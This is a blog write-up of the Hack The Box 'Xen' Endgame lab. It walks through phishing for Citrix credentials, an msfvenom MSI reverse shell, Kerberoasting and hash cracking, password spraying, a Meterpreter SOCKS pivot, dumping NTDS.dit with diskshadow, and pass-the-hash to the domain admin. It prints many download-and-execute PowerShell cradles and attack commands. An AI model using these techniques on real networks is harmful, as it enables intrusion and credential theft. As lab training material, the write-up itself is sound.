HTB: Endgame — Xen

Mike Bond
17 min readOct 10, 2020


Network Experience:

My observations while working the targets:

· Enumeration: Life-like

· Vulnerabilities: Life-like

· Exploitation: Life-like

· Flag Difficulty — Breach: Hard

· Flag Difficulty — Deploy: Easy

· Flag Difficulty — Ghost: Easy

· Flag Difficulty — Camouflage: Hard

· Flag Difficulty — Doppelgänger: Easy/Medium

· Flag Difficulty — Owned: Easy/Medium


The recommended tools for this lab were:

· Nmap

· Browser

· Gobuster

· Various Wordlists

· Telnet

· smtp-user-enum

· swaks

· netcat

· Python HTTP Server

· Citrix Receiver client

· PowerUp.ps1

· MSFVenom

· Invoke-PowerShellTcp.ps1

· PowerView.ps1

· Nslookup

· Net view

· Net use

· Kerberoast.ps1

· Hashcat

· Invoke-PortScan.ps1

· Putty.exe

· putty2john

· kwprocessor


· tcpdump


· Wireshark

· DomainPasswordSpray.ps1

· MSFConsole

· ProxyChains

· Evil-WinRM

· Unix2dos

· Diskshadow

· Robocopy

· Secretsdump


When I started working this challenge, I knew that I would be dealing with mostly Windows devices. So, my strategy was to compromise the initial foothold system and then use it to discover, attack, and compromise the rest of the network.

Yes, I knew that it would be easier and faster to use my tools on my Attacker system and then pivot using the foothold. However, I wanted to test myself and use native applications as much as possible along with PowerShell scripts. Although, I eventually had to use Metasploit to port forward through the foothold system for the last flag.


Using Nmap, I saved the output while scanning for service version detection, OS detection, script scanning, and verbose mode of the target system.

Figure 1: Nmap Scan

Reviewing the Nmap output, I noticed the TCP Port 80 tried to redirect to So, I added an entry in my Attacker system /etc/hosts file and then used a browser to connect to the referenced URL.

Figure 2: Default Website

Not seeing anything interesting on the website, I decided to review the source code. I did notice an email within the footer tag that may or may not be useful.

Figure 3: Default Website Source Code

Since I was not finding anything interesting, I decided to launch gobuster to determine if there were any hidden directories. Since this was a Windows device, I knew that case sensitivity did not matter and decided to use a Dirbuster lowercase wordlist.

gobuster dir — url -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -o -t 40 -k
Figure 4: gobuster Results

Based on the gobuster findings, I returned to the browser and reviewed the /remote directory. I then clicked on the Skip to log on link; where I was presented with a login page.

Figure 5: /remote Directory
Figure 6: Citrix Login Page

I then reviewed the other directories that returned from the gobuster results; which I did receive a login prompt for the /jakarta directory.

At this point, I decided to see if I could further enumerate the SMTP Port. So, I connected to the Exchange server with Telnet and tried to send an email to the identified from the default webpage results; which it appeared to work.

Figure 7: Telnet Session


Based on the information that I gathered, I believed that the path to a foothold had to go through the Exchange server. However, I was at a loss of how to do that. So, I had to break down and review the official Xen walkthrough for assistance.

Reviewing the walkthrough, a phishing attack was to be used to trick end-users to clicking on a hyperlink for the Citrix login. However, the email was to be sent from a specific account.

With that information in hand, I used smtp-user-enum to enumerate as many email accounts from the Exchange server as I could. I used several different lists and could only find two accounts. Eventually, I was able to find four valid email addresses utilizing the wfuzz magabeast.txt wordlist.

smtp-user-enum -M RCPT -U /usr/share/wordlists/wfuzz/general/megabeast.txt -D -t
Figure 8: smtp-user-enum Results

Reviewing the walkthrough once again, I needed to use swaks to send an email. However, I first needed to create the email body that contained the fake URL to the Citrix login.

Figure 9: Body.txt

Once the email body was created, I technically should have created a website that mimicked the Citrix Login. However, I decided to use the Social Engineering Toolkit (SET) without creating the site.

After downloading and configuring SET, I launched it and selected Social-Engineering Attacks; followed by: Website Attack Vectors, Credential Harvester Attack Method, Site Cloner. Next, I entered the IP address for the POST (Attacker IP) and the url to clone data.

Figure 10: SET Menu
Figure 11: SET IP & URL Data

With SET configured, I used swaks to send an email from with different combinations of the enumerated email addresses. I eventually was able to get results when I sent the email from to and added the flag to use the body.txt file.

Figure 12: Sent Email via swaks

Within a few minutes, an end-user tried to login to the fake site with what appeared to be valid credentials.

Figure 13: SET Tool Results

Since this was a learning environment, I was certain that there was a script that was launching every few minutes. So, instead of using SET, I tried my luck using Netcat; which I was able to obtain credentials for three accounts in total.

Figure 14: Netcat Results

Prior to using one of the credential sets to login to Citrix, I downloaded and installed the Citrix Receiver client from Citrix on my Attacker system. Once installed, I then logged into Citrix; where I was presented a single Default icon.

Figure 15: Citrix Logon
Figure 16: Authenticated Account

Next, I clicked on the icon and was presented a popup. I chose to open the ICA file with the locally installed Citrix Receiver Engine.

Figure 17: Launched Application

Within a few seconds, I was presented a Windows Desktop. I then clicked around and was able to find the flag within the User’s Desktop directory.

Figure 18: Windows Desktop
Figure 19: Flag Location


While enumerating the target, it became obvious that the compromised user’s environment was locked down. Not being able to access a Command Prompt nor PowerShell from the Start Menu, I decided to try to create a shortcut to launch a Command Prompt; which was successful.

Figure 20: CMD.EXE Shortcut
Figure 21: Executed Shortcut

Having executed CMD, I then issued the command to launch PowerShell and then another PowerShell bypassing the execution policy.

Not seeing any active anti-virus detection, I decided to execute the PowerShell script of PowerUp within memory in order to identify any abusable services or settings. Within a minute, the returned results indicated that the compromised user had the AlwaysInstalledElevated option enabled. With this option enabled, I knew that I would be able to create a MSI payload to launch a reverse shell.

iex (New-Object Net.WebClient).DownloadString(‘');Invoke-AllChecks
Figure 22: PowerUp Found Abuse

In preparation to launch a reverse shell, I modified the Nishang Invoke-PowerShellTCP.ps1 script. I changed the name of the function as well as placing the script execution at the bottom of the script.

Figure 23: Modified Invoke-PowerShellTcp.ps1

Next, I used MSFVenom to create a MSI payload (shell.msi) that executed the reverse shell script.

msfvenom -p windows/x64/exec CMD=”cmd /c powershell iex(new-object net.webclient).downloadstring(‘')" -f msi > shell.msi
Figure 24: MSVenom MSI Payload

I then started a Python HTTP Server on my Attacker system and uploaded the shell.msi payload to the target. Once uploaded, I executed the shell.msi file and was able to obtain a reverse shell as SYSTEM.

IEX (New-Object System.Net.WebClient).DownloadFile(‘', ‘C:\\windows\\system32\\spool\\drivers\\color\\shell.msi’)
Figure 25: Uploaded shell.msi
Figure 26: Executed shell.msi
Figure 27: Reverse Shell (SYSTEM)
Figure 28: Flag Location


After obtaining SYSTEM on the target, I decided to return to the User’s Desktop so that I could enumerate the HTB.Local domain. I was able to identify that the compromised foothold target was a dual-honed system. Reviewing the Arp table provided me with some additional IP Addresses on the second network.

Figure 29: Dual-Honed Network
Figure 30: Network Arp

I decided to execute load the PowerView module and use the Get-NetworkComputer function to further enumerate the domain for the name and operating system of the domain computers.

iex (New-Object Net.WebClient).DownloadString(‘');Get-NetComputer | ft samaccountname,cn,operatingsystem
Figure 31: Domain Computers

Next, I used NSLookup against each one of the host names to validate its IP Address.

Figure 32: Host to IP Validation

I then used net view to find any interesting network shares. Once found, I used net use to connect and list the contents; which the compromised account did not have permission.

net view \\\ /allnet use \\\Citrix$
Figure 33: Network Shares

Continuing to use PowerView, I enumerated the domain users to return the SAM Account Name as well as identifying Admin accounts with the Get-NetUser function..

iex (New-Object Net.WebClient).DownloadString(‘');get-netuser | ft samaccountname,admincount
Figure 34: Domain Users & Administrators

At this point, I decided to use the PowerShell script of Kerberoast.ps1 to determine if any of the domain users were vulnerable to Kerberoasting; which I identified mturner as being vulnerable.

iex (New-Object Net.WebClient).DownloadString(‘');Invoke-Kerberoast -OutputFormat hashcat
Figure 35: Kerberoastable User (mturner)

I then copied the hash and created a file on my cracking rig. Next, I launched Hashcat to crack the Kerberos hash, but was unsuccessful with just the Rockyou wordlist. So, I used the OneRuleToRuleThemAll rule and was able to crack the hash in under 15 minutes.

cat hash.out | tr -d ‘[:space:]’ > kerb.hashhashcat -m 13100 -a 0 -w 3 kerb.hash ~/wordlists/rockyou.txt -r /opt/hashcat/rules/OneRuleToRuleThemAll.rule
Figure 36: Cracked Hash

With the cracked hash, I returned to the compromised foothold and connected to the previously discovered share with the mturner credentials; which was successful and the flag location was identified.

net use \\\Citrix$ /user:htb.local\mturner ‘4install!’
Figure 37: Connect Share & Flag (mturner)


Continuing to enumerate the share, I viewed the private.ppk; which appeared to be a Putty RSA Key. So, I copied the contents and saved it to my Attacker system.

Figure 38: Putty RSA Key

Seeing that I had an SSH Key, my next logical step was to scan the identified IP Address range for TCP 22; which I identified a system that had SSH enabled.

iex (New-Object Net.WebClient).DownloadString(‘');Invoke-PortScan -StartAddress -EndAddress -ScanPort -Port 22
Figure 39: Portscan for TCP 22

Next, I decided to upload a copy of Putty and the RSA Key to the compromised foothold in order to connect to the identified SSH server.

IEX (New-Object System.Net.WebClient).DownloadFile(‘', ‘C:\\windows\\system32\\spool\\drivers\\color\\putty.exe’)IEX (New-Object System.Net.WebClient).DownloadFile(‘', ‘C:\\users\\pmorgan\\desktop\\private.ppk’)
Figure 40: Uploaded Files

I launched Putty and added the private.ppk file for authentication.

Figure 41: Putty w/Auth
Figure 42: Initial Security Alert

Once I had established a SSH connection, I tried to manually brute force my way into the target. However, the private key failed; which meant I did not have the correct username.

Figure 43: Failed Authentication

So, I decided to enumerate the target by performing a port scan for well-known web server ports.

iex (New-Object Net.WebClient).DownloadString(‘');Invoke-PortScan -StartAddress -EndAddress -ScanPort -Port 80,443,8080
Figure 44: Port Scan

Based on the port scan results, I launched a browser from the foothold system to the target over HTTP. However, I was immediately redirected to HTTPS.

Once connected, I was presented with a Citrix NetScaler login page. So, I decided to perform an Internet search looking for default credentials; which I managed to identify the default root account name of nsroot.

Figure 45: Default Web Site

With the default user, I relaunch Putty and tried logging in with the nsroot account. This time, I was presented to enter a passphrase for the private.key.

Figure 46: Putty w/Passphrase

Doing some more research, I was able to determine that JTR had a Putty private key converter tool. So, I converted the private.ppk and them reviewed Hashcat’s capability to crack Putty Keys.

Figure 47: Converted Putty Key

Unfortunately, Hashcat did not have this capability, but JTR did have the capability. So, I launched JTR and started trying to crack the hash from my cracking rig.

After a couple of days, I had returned no results. So, I reverted to reading the official Xen walkthrough for assistance.

Note: due to the password cracking requirement, this is why I rated this flag as hard.

The walkthrough referenced utilizing a kwprocessor; which creates a wordlist based on patterns used on the keyboard. So, I downloaded and compiled the ELF file and then created a wordlist.

putty2john private.ppk > putty.hashsudo gcc src/kwp.c -o kwpsudo ./kwp basechars/full.base keymaps/en-us.keymap routes/2-to-16-max-3-direction-changes.route -s 1 -o kb-pattern.lst
Figure 48: kwprocessor Wordlist Creation

With the new wordlist created, I launched JTR to crack the Putty hash. Unfortunately, I was not successful. I originally thought that I may have had a copying issue with the original key. So, I reconnected to the Citrix$ share and copied the file to the foothold and then to my Attacker system. However, I was still unable to successfully crack the hash. Even though, the wordlist contained the correct pattern.

john putty.hash -w /home/mbond/wordlists/kb-pattern.lst --format=PuTTY --pot=putty.out
Figure 49: JTR Session
Figure 50: Wordlist Pattern Contents

Not wanting to admit defeat, I continued to try to crack the hash, but was still unsuccessful. So, I had to cheat and copied the Putty Key Phrase password from the walkthrough and entered it when I reconnected to the Putty session; which successfully connected to the target.

Figure 51: SSH Connection (nsroot)

Once connected, I started to enumerate the target and was eventually able to drop into a shell. I then identified that I had elevated permissions on the target.

Figure 52: Shell Connection (root)

Not seeing anything interesting while enumerating the target, I decided to launch TcpDump to perform a packet capture. My hope was that I would be able to capture login credentials from the Citrix NetScaler website.

tcpdump -w test.pcap -s0 -v
Figure 53: tcpdump Capture

After a few minutes, I terminated the packet capture. I then used the local resources to launch a Python HTTP Server in order to download the capture to the foothold system. Since TCP Port 80 was used to host the NetScale website, I decided to use a higher port number to host the Python HTTP Server.

Figure 54: Python HTTP Server

I returned to the foothold and launched a PowerShell download command to copy the capture file locally.

IEX (New-Object System.Net.WebClient).DownloadFile(‘', ‘C:\\windows\\system32\\spool\\drivers\\color\\test.pcap’)

Once the capture file was on the foothold, I launched a SMBServer on my attacker system. I then established a share from the foothold to my Attacker system; where I successfully downloaded the capture file.

sudo python3 /opt/impacket/examples/ loot $(pwd) -smb2supportnet use \\\lootcp *.pcap \\\loot\.
Figure 55: SMBServer
Figure 56: SMBServer Share

With the capture file downloaded to my Attacker system, I opened the capture file with WireShark. Reviewing the data, I was able to identify several LDAP connections.

Figure 57: Capture File (LDAP)

Next, I decided to follow the TCP stream of the LDAP conversation. To my surprise, I captured credentials for the netscaler-svc account as well as a flag.

Figure 58: Credentials & Flag


Reviewing my initial domain user enumeration, the netscaler-svc account did not appear to have any elevated privileges. So, I decided to use DomainPasswordSpary.ps1 to determine if there were any shared passwords amongst the domain users.

After a few tries, I was able to identify that the netscaler-svc account shared the same password with multiple other service accounts. In addition, the backup-svc account appeared to have elevated privileges; according to the previous domain user enumeration.

iex (New-Object Net.WebClient).DownloadString(‘');Invoke-DomainPasswordSpray -UserList user.lst -Password ‘#S3rvice#@cc’ -OutFile creds.txt
Figure 59: Successful Password Spraying

Having the credentials for an elevated user account, I needed to determine where I could use these credentials. So, I performed a port scan against a range of Ips; where I identified that the Domain Control (DC) had both RDP and PSRemote ports opened.

iex (New-Object Net.WebClient).DownloadString(‘');Invoke-PortScan -StartAddress -EndAddress -ScanPort -Port 3389,5985,5986
Figure 60: Port Scan

Next, I created several variables so that I could establish a new PSSession using the backup-svc credentials. Once created, I established a PSSession to the DC.

$user = ‘HTB.LOCAL\backup-svc’
$pass = ConvertTo-SecureString ‘#S3rvice#@cc’ -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ($user, $pass)
$sess = New-PSSession -ComputerName DC -Credential $cred
Figure 61: Created Variables
Enter-PSSession $sess
Figure 62: Established Remote Session (backup-svc)
Figure 63: Flag Location


Connected to the DC, I decided it seemed that I did not have DA access. So, I issued a whoami /priv to determine privileges for the backup-svc account.

Based on the results, I was familiar with the SeBackupPrivilege and SeRestorePrivilege from the standalone HTB system of Blackmore. Thus, this is why I decided to give this flag an easy/medium rating. It was easy to me, but would be more challenging for someone who was not experienced with these privileges.

Figure 64: Backup & Restore Privileges

Knowing the privileges for the backup-svc account, I could use the Diskshadow.exe utility to extract a copy of the Active Directory database. Once extracted I would have to use Robocopy in order to copy the extracted database to a readable directory.

Next, I created two scripts using PowerShell on the target system. The first script creates a shadow copy volume and then calls the second script to execute Robocopy. Once the second script has completed its copy process, the first script continues and deletes the previously created volume and then exits.

set verbose on
set metadata C:\Windows\Temp\
set context persistent nowriters
add volume c: alias someAlias
expose %someAlias% z:
exec “C:\\Users\\backup-svc\\Documents\\shadowcopy.cmd”
delete shadows volume %someAlias%
$file | Out-File -FilePath C:\Users\backup-svc\Documents\shadow.txt$file=@’
cmd.exe /c robocopy /B z:\windows\ntds\ C:\Users\backup-svc\Documents\ ntds.dit
$file | Out-File -FilePath C:\Users\backup-svc\Documents\shadowcopy.cmd

With the scripts created, I launched Diskshadow and instructed it to use the flags for a script as well as to log the output.

diskshadow /s shadow.txt /l log.txt

Unfortunately, I experienced odd behavior when launching the script. I tried to adjust the formatting, but that did not resolve the issue. So, I broke down and decided to use the foothold to port forward from my Attacker system.

I did not include screenshots of the setup, but I did include the commands.

I returned to my Attacker system and created a Meterpreter Reverse Windows Shell with MSFVenom.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=443 -f msi > shell.msi

Once the payload was created, I uploaded it from my Attacker system to the foothold system.

IEX (New-Object System.Net.WebClient).DownloadFile(‘', ‘C:\\windows\\system32\\spool\\drivers\\color\\shell.msi’)

Back on my Attacker system, I launched MSFConsole and created a handler.

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost
set lport 443
set exitonsession false
exploit -j

With MSFConsole ready, I returned to the foothold system and executed the shell.msi file; which established a session to my Attacker system. I added a route to the established session and then setup a SOCKS proxy.

route add 1use auxiliary/server/socks4a
set srvport 9050

With the proxy established, I used Proxychains to execute Evil-WinRM and connected to the DC with the backup-svc credentials.

proxychains evil-winrm -i -u backup-svc -p ‘#S3rvice#@cc’

Once connected to the DC, I recreated both of the scripts on my attacker system and then used unix2dos to ensure that they were formatted appropriately.

unix2dos shadowcopy.cmdunix2dos shadow.txt

I then uploaded both of the scripts with Evil-WinRM’s built in function. Once uploaded, I executed diskshadow with the script and log flags.

diskshadow /s shadow.txt /l log.txt
Figure 65: Truncated Diskshadow Output (1 of 2)
Figure 66: Truncated Diskshadow Output (2 of 2)

Even though I did have a failure within the script, the ntds.dit was copied to the C:\Users\backup-svc\Documents directory. I then extracted the SYSTEM key and downloaded it as well as the ntds.dit file with Evil-WinRM’s download function.

reg.exe save HKLM\SYSTEM system.hive

With both files downloaded to my Attacker system, I used Impacket SecretsDump to extract the contents of the ntds.dit file with the SYSTEM key.

impacket-secretsdump -ntds ntds.dit -system system.hive -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
Figure 67: Extracted NTDS.dit Hashes

Once again, I used Evil-WinRM to pass-the-hash for the administrator account in order to connect to the DC and locate the last flag.

proxychains evil-winrm -i -u administrator -H 822601ccd7155f47cd955b94af1558be
Figure 68: Evil-WinRM Session (Administrator)
Figure 69: Flag Location



This article is made available for educational purposes only!!! In addition, this article provides general information on cyber security topics used for “Ethical Hacking”.

Persons accessing this information assume full responsibility for the use and agree to not use this content for any illegal purpose. Furthermore, the author is not liable for any direct or indirect damages or expense incurred which may result from the use of the information covered within this article.

Information within this article is “as is”, without warranty of any sort.



Mike Bond

Cyber Security Enthusiast